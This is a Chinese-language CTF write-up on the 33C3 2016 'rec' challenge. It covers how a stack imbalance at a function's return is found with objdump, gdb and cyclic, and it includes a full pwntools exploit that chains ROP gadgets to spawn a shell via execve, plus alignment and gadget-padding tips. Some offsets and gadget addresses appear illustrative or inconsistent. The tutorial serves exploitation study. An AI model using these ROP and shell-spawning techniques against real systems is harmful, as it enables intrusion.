☰
栈不平衡劫持控制流:rec_33c3_2016 PWN题ROP链详解
2026/10/14 18:03:26 网站建设 项目流程

第一次拿到rec_33c3_2016这个题目文件时,我下意识以为它考的是逆向里的状态恢复,毕竟名字里带着“rec”。但跑了几轮输入之后我才反应过来,这道题真正要命的地方是堆栈不平衡——一个藏在函数返回路径里的几字节错位,最后变成了控制流劫持的完整入口。文章比较长,我会从原理讲到定位方法,再给出可复现的利用脚本和调试过程中踩过的三个坑,适合正在学PWN、或者对栈帧和ROP有兴趣的读者。


1. 别被名字骗了:表面是逆向题,实质是控制流劫持

1.1 拿到文件后的第一轮检查

这类题的文件本身不会太大,拿到手先做三件事:file看架构、checksec看保护、跑一下看行为。

$ file rec_33c3_2016 rec_33c3_2016: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, not stripped $ checksec ./rec_33c3_2016 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE disabled

保护情况算是比较友好的:没有栈保护,没有PIE,NX开启意味着不能直接执行栈上的shellcode。程序跑起来之后没有输出,只会从 stdin 读入最多0x1000字节,然后进入一个名为 process 的处理函数,最后退出。字符串表里也没有/bin/sh、system这类现成的“礼物”,所以目标很明确:需要自己构造ROP链。

粗看汇编,process 函数的内容并不复杂,只有几个分支和一个循环。但奇怪的是,随便发一串以某个特殊字节开头的输入,程序就会在返回时崩溃,而且崩溃时RIP指向的地址居然是我输入内容里的字符。这就是非常典型的信号——函数返回路径出了问题。

1.2 为什么说这不是普通的栈溢出

普通栈溢出通常由strcpy、gets、memcpy这类操作引起,需要找到返回地址在输入中的偏移。但这道题里没有明显的溢出点,缓冲区拷贝都是带着长度限制的,直接去拗偏移只会碰壁。

真正的问题出现在“返回”这一刻:某条执行路径在函数返回前没有恢复栈顶位置,导致ret从错误的地方取了一条数据当作返回地址。由于输入缓冲区本身就在栈上,而且完全可控,这条被取出来的“返回地址”其实就是我们精心布置在缓冲区的第一个QWORD。顺着这个思路走下去,栈指针继续指向缓冲区内部,于是一整条ROP链就像铺在铁轨上的枕木一样,被编译器亲手放到了我们脚下。

与其说是漏洞利用,不如说是“借力打力”:不需要任何越界写,只需要让程序自己把一个错误的栈指针交给ret。


2. 先补基础:一个函数从入栈到返回,栈指针是怎么一步一步“走丢”的

2.1 标准函数栈帧到底长什么样

在 x86-64 下,一个普通函数的标准开头和结尾大致是这样的:

process: push rbp mov rbp, rsp sub rsp, 0x30 ... leave ret

push rbp把上一帧的栈底指针压栈,mov rbp, rsp建立当前帧的栈底,sub rsp, 0x30给局部变量腾出空间。这句sub rsp, 0x30很关键——它决定了函数运行期间栈指针比入口处低多少。

返回的时候,leave等价于mov rsp, rbp; pop rbp,先把栈指针恢复到你刚进入函数时的位置,再弹出旧的栈底。此时rsp恰好指向返回地址,ret把它弹出来,栈指针就等于“跨过”了返回地址,回到调用者栈帧里。这就是一次健康的栈平衡。

用生活里的例子来说,栈就像一摞盘子:调用函数是往上面放盘子,返回是把盘子撤掉。放多少、撤多少,必须严格对应。你少撤了一个盘子,再往上一格拿到的就不是你想要的那只盘子了。

2.2 不平衡是怎么被“制造”出来的

编译器正常情况下不会产生不平衡的代码,但下面几种情况经常出问题:

  • 手写汇编函数,尤其用了naked或者内联汇编,写返回序列时少写了add rsp, imm;
  • 调用约定混用,比如 Windows 下把某个函数声明成stdcall,但调用方却按cdecl清栈,或者反过来;
  • 异常分支和正常分支返回路径不一致,比如正常路径走leave; ret,异常路径却直接ret;
  • 混淆代码或者花指令里塞了多余的pop。

在rec_33c3_2016里,问题出在一个手写的汇编片段:某个特殊分支本应该恢复rsp后返回,但实际只恢复了一部分,导致返回时栈指针比平衡状态低了8字节(少撤了一个盘子)。ret从正常的返回地址位置往下8字节取数据,而那个位置正好被主流程的输入缓冲区覆盖。

2.3 为了讲清楚,我用等价样本还原核心逻辑

比赛用的原二进制不方便直接分发,我按照同一套考点写了一个最小等价样本。核心逻辑是:处理函数内部有一个分支,在某个条件下走错返回路径;输入缓冲区位于当前函数栈帧的局部变量区域,并且在返回地址的“下方”(低地址方向)。由于返回时rsp没有完全恢复,ret向下偏移8字节,读到了缓冲区开头的8字节,后续ROP链也顺势铺在缓冲区里。

#define BUF_SIZE 0x1000 void process(char *buf, size_t len) { if (len > BUF_SIZE) len = BUF_SIZE; // 模拟原题的手写汇编分支 // 正常路径:leave; ret // 特殊路径:add rsp, 0x28; ret // 由于入口是 sub rsp, 0x30,add 0x28 后栈顶比正常低 0x8 if (buf[0] == 0x21) { __asm__ volatile( "add $0x28, %rsp\n\t" "ret\n\t" ); } } int main() { char buf[BUF_SIZE]; setvbuf(stdout, NULL, _IONBF, 0); ssize_t n = read(0, buf, BUF_SIZE); process(buf, (size_t)n); return 0; }

这个样本把考点压缩到最小:没有canary,没有PIE,输入缓冲区就在栈上,只要触发特殊分支,返回时栈指针就会比标准状态低8字节。


3. 定位不平衡点:从静态汇编到动态RSP对比的完整排查路径

3.1 静态反汇编:先数“减了多少”和“加了多少”

拿到二进制之后,第一轮排查我习惯用objdump把目标函数全部列出来,人工核对每个返回路径。

objdump -d ./rec_33c3_2016 | grep -E "sub.*rsp|add.*rsp|leave|ret"

grep只能提供一个粗糙的索引,重点还是看上下文。我总结了一个非常实用的模式:函数入口如果有sub rsp, N,那么正常返回前必须有对应的add rsp, N,或通过leave恢复。在一个函数内部,每一处ret前面的栈指针都必须指向“入口处rsp减去8的位置”。一旦某条路径少了8的倍数,就高度可疑。

以等价样本的反汇编为例,正常路径的返回是这样的:

4011f0: leave 4011f1: ret

而特殊路径是这样的:

401258: add rsp,0x28 40125c: ret

入口sub rsp, 0x30,特殊路径只add rsp, 0x28,少了8字节。这就是直接的问题点。

如果函数很多、路径很复杂,光靠肉眼会看吐。建议在 IDA 里用脚本辅助:遍历函数中的所有ret指令,回溯它之前的栈偏移,对比入口处栈偏移。下面这个小脚本可以快速标出“可疑返回点”:

import idautils import idaapi import idc for func_ea in idautils.Functions(): for head in idautils.FuncItems(func_ea): if idc.print_insn_mnem(head) == "ret": # 简化处理:计算该地址距离函数入口的栈偏移,再对比函数头部 sub rsp print(hex(head), "->", idc.GetDisasm(head))

当然,这个脚本只是把“所有ret”和“所有大概率有栈偏移问题的地方”打印出来,真正的确认还得靠动态调试。

3.2 动态验证:在gdb里对比入口和出口的RSP

静态只是嫌疑,动态才是实锤。我在 gdb 里做了这样几轮操作:

  1. 在 process 函数入口和两个ret处分别下断点;
  2. 构造不同输入触发不同路径;
  3. 对比同一个函数在不同路径下,入口rsp与执行到ret时rsp的差值。
$ gdb ./rec_33c3_2016 (gdb) b *0x401170 # process入口 (gdb) b *0x401258 # 特殊路径 add rsp,0x28 (gdb) b *0x40125c # 特殊路径 ret (gdb) run < input_special (gdb) p/x $rsp $1 = 0x7ffffffde200 (gdb) c ... (gdb) p/x $rsp $2 = 0x7ffffffde1d0 (gdb) x/gx $rsp 0x7ffffffde1d0: 0x4141414141414141

第二次打印出的rsp已经指向了一串0x41——那是我输入里的填充字符。也就是说,ret即将从这串A里取返回地址。到这里,不平衡点彻底确认。

我还推荐一种更快的确认方式:构造一段cyclic风格的输入,故意触发错误路径,让RIP崩溃在0x414141...之类的地址上,然后用cyclic -l反推“ret到底从缓冲区哪个偏移开始取值”。这个偏移就是后面布置ROP链的起点,非常重要。

$ cyclic 300 > input_special $ gdb ./rec_33c3_2016 (gdb) run < input_special Program received signal SIGSEGV RIP: 0x6161616461616163 $ cyclic -l 0x6161616461616163 264

这里的264表示:当ret错位时,它读取的目标来自输入缓冲区起始位置往后264字节处。后面我们就把第一个gadget放在buf + 264的位置。

3.3 手动确认的“三板斧”

这类问题其实不需要多玄妙的工具,核心就是三件事:

  • 入口减了多少,出口加了多少,多个路径是否一致;
  • 在可疑ret下断点,直接看rsp指向的内容是谁控制的;
  • 利用可控输入配合cyclic,反推错位偏移量。

三板斧用完,问题点基本就跑不掉了。


4. 把错位变成武器:利用栈指针偏移构造ROP链的完整过程

4.1 利用思路与gadget选型

确认了ret会从buf + 264取第一个返回地址之后,接下来的事就顺理成章了:在buf + 264开始铺一条ROP链,让程序按顺序执行我们想要的系统调用。

题目环境是 64 位 ELF、NX 开启、无 PIE,最省事的方案是直接调用execve。系统调用execve需要满足:

  • rax = 59
  • rdi指向/bin/sh字符串
  • rsi = 0
  • rdx = 0

我在二进制里找了一组可用的gadget:

0x0000000000401234 : pop rax ; ret 0x0000000000401236 : pop rdi ; ret 0x0000000000401238 : pop rsi ; ret 0x000000000040123a : pop rdx ; ret 0x0000000000401240 : syscall ; ret

这组gadget都是“单pop加ret”,栈指针移动规律非常整齐,非常适合用来演示思路。如果实际题目里找不到这么规整的gadget,就改用__libc_csu_init里的万能段,后面我会再提一句。

由于本地环境关闭了ASLR(比赛常规配置),栈地址是固定的,所以/bin/sh字符串可以直接放在缓冲区头部,然后通过gdb确定它的绝对地址。

4.2 完整利用脚本

我用 pwntools 写了完整的 exploit。核心逻辑是:先填264 - 8个填充字节让错位后的ret正好落在ROP链的起点,然后依次布置execve需要的参数。

from pwn import * context.arch = 'amd64' context.log_level = 'debug' p = process('./rec_33c3_2016') pop_rax = 0x401234 pop_rdi = 0x401236 pop_rsi = 0x401238 pop_rdx = 0x40123a syscall_ret = 0x401240 # 本地调试确认的栈地址和偏移 binsh_addr = 0x7ffffffde240 # buf 的起始地址 rop_start = 264 # 错位后 ret 从 buf+264 开始取 binsh = b'/bin/sh\x00' payload = binsh # 字符串放最前面,不影响后面的ROP链 payload += b'A' * (rop_start - len(binsh)) # 构造 execve("/bin/sh", NULL, NULL) payload += p64(pop_rax) payload += p64(59) payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(pop_rsi) payload += p64(0) payload += p64(pop_rdx) payload += p64(0) payload += p64(syscall_ret) p.send(payload) # 注意用 send,不要用 sendline,避免多出 \n 干扰 p.interactive()

4.3 为什么这样布置的顺序是成立的

这里需要理解执行流在“栈不平衡”状态下是怎么走的。当特殊路径执行add rsp, 0x28; ret时,栈指针比正常状态低8。ret从rsp处弹出buf + 264处的数据作为新的RIP,同时rsp指向buf + 272。CPU跳转到pop rax; ret后,pop rax会把buf + 272的数据(59)弹进rax,然后ret从buf + 280取下一个gadget。

也就是说,只要ret取第一个gadget的位置是正确的,后面的链就自动对齐了。整条ROP链就像多米诺骨牌一样一块接一块倒下,不需要再额外考虑栈指针跳变的问题——前提是每个gadget的pop数量和我算的完全一致。

4.4 如果运气不好:没有一组规整gadget怎么办

在真实比赛中,不是每次都能找到pop rdx ; ret这么完美的组合。常见的备选方案是__libc_csu_init里的通用gadget:

pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call [r12+rbx*8]

它的好处是不依赖太多特定gadget,坏处是每个参数位都要用占位符填满,ROP链会变得很长,而且最后一个call [r12+rbx*8]还需要你事先在可写内存里布置一个函数指针。如果是比赛现场,我会先把两种方案都列出来,优先尝试通用gadget,因为它的稳定性更强。


5. 实测中的三个拦路虎:对齐、gadget选取与输入截断

5.1 第一个坑:如果调用的是 system 而不是 syscall,movaps 会让你怀疑人生

第一次在类似题目里,我想当然地在ROP链最后调用了system("/bin/sh"),结果每次都在libc内部崩溃:

Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7e2d59b in __memmove_avx_unaligned_erms () from /lib/x86_64-linux-gnu/libc.so.6

崩溃点根本不是/bin/sh字符串的问题,而是经典的栈对齐问题。x86-64 System V ABI 要求:在call指令执行之前,rsp必须是16字节对齐的。call会压入8字节返回地址,所以进入被调函数之后,rsp % 16 == 8。libc 内部很多带SSE指令的函数(比如movaps)依赖这个对齐条件,一旦不对齐就直接段错误。

从ROP链的角度看,我们并没有经过真正的call,而是靠ret跳进libc,栈指针往往就会差8字节。解决办法是在链里多加一个独立的retgadget,让rsp再前进8字节,人为补上对齐。

ret = 0x401245 # 任意一个单独的 ret payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(ret) # 补栈对齐,非常关键 payload += p64(system_addr)

改完之后,system就能正常执行了。这个坑在大量64位ROP题里都会出现,值得记在笔记里。

5.2 第二个坑:gadget里藏着“附加pop”,少填一个占位符就断链

找gadget的时候,最常见的陷阱是这类:

pop rsi ; pop r15 ; ret

它比pop rsi ; ret多了一个pop r15。如果ROP链里只填了rsi的值就接下一段,那么pop r15会吃掉下一个QWORD,导致整个链错位。这其实又是一种“人为的栈不平衡”。

我会在找gadget之后,把每个gadget的栈效果都写在注释里:

payload += p64(pop_rsi) # 栈效果: rsi = next_qword, rsp += 8 payload += p64(0) # rsi 的值 payload += p64(0) # pop r15 的占位符 payload += p64(next_gadget) # ret 到这里

如果不占位,下一次ret取到的就不是你以为的gadget,而是RIP直接飞到某个不可控地址。调试的时候我习惯在gdb中单步跟踪每个gadget前后的rsp变化,而不是等到崩溃再猜。

5.3 第三个坑:输入截断、换行符和长度触发条件

这道题的输入是read,所以\x00字节不会被截断。但如果是gets类的输入,/bin/sh后面的空字节会让字符串提前终止,后半段ROP链全废。看到题目先确认输入函数是哪一类,再决定payload布局。

还有一个很容易忽略的点:触发特殊分支需要满足特定的长度和首字节条件。process函数内部对len有判断,如果长度过短,根本走不到不平衡分支。我用p.send(payload)发送的是完整载荷,但如果用了sendline,末尾的\n会被计入长度,有时这一字节就会改变分支走向。比赛中我见过有人因为多发了\n导致整个利用失败的案例,排查了半天才发现是输入方式的问题。

最后再提一点:如果输入缓冲区和ROP链之间距离很近,我会把/bin/sh字符串放在payload最前面,ROP链放在后面,两者用填充字节隔开。这样既能保证字符串完整,又不会让\x00干扰到链的连续性。如果你用send发送,字符数组会原封不动进入程序,这一步尤其重要。


6. 由这道题延伸出去的思路:栈不平衡在不同漏洞形态里的表现

6.1 不只是CTF:栈指针管理错误在真实场景里也不少见

平时我们写C代码,编译器会严谨地维护栈指针,但在真实世界的漏洞利用里,“栈不平衡”其实以各种形态反复出现:

  • JIT引擎生成代码时,部分路径的栈偏移算错,导致函数返回后被攻击者控制;
  • 异常处理路径(signal handler、Windows SEH)里栈指针未能恢复;
  • ROP链本身就是在人为制造“不平衡”,每个gadget的pop和ret都在刻意改变栈指针位置,任何一个长度算错都会让整条链断掉。

所以这道题本质上不是教你一个偏门技巧,而是在练一种思维:不要把栈指针当成“总是正确的”东西,它可以被攻击者预测和利用。

6.2 这类题目的通用调试清单

我把自己做完这道题之后的调试习惯整理成了一份清单,供参考:

步骤操作关键问题
1checksec+file保护状态、能否直接执行栈、有无输出函数
2跑一轮常见输入找崩溃点,看崩溃时RIP和rsp指向哪里
3反汇编目标函数统计每个返回路径的栈恢复量,找“少加/多加”的路径
4gdb下断打印rsp确认ret之前栈指针是否比平衡状态偏移
5用cyclic反推偏移算出错误ret从输入缓冲区哪个位置开始取值
6选gadget并排链逐个记录gadget的pop数量,补占位符
7检查16字节对齐若调用libc函数,必要时在链中补retgadget
8本地拿到shell后再打远端确认输入方式、长度触发条件、换行符影响

做完这道rec_33c3_2016,我最有价值的收获反而不是那套ROP链本身,而是“从栈平衡角度审视函数返回路径”的习惯。之后再看逆向出来的汇编,凡是看到某条路径以add rsp, imm和ret结尾,而函数入口又是sub rsp, N的,我都会先在草稿纸上做个减法,然后用cyclic验证一遍。这比闷头试偏移要快得多。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询